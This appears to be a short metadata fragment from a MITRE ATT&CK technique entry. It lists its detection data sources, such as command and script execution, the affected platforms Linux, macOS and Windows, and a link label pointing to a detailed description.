Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre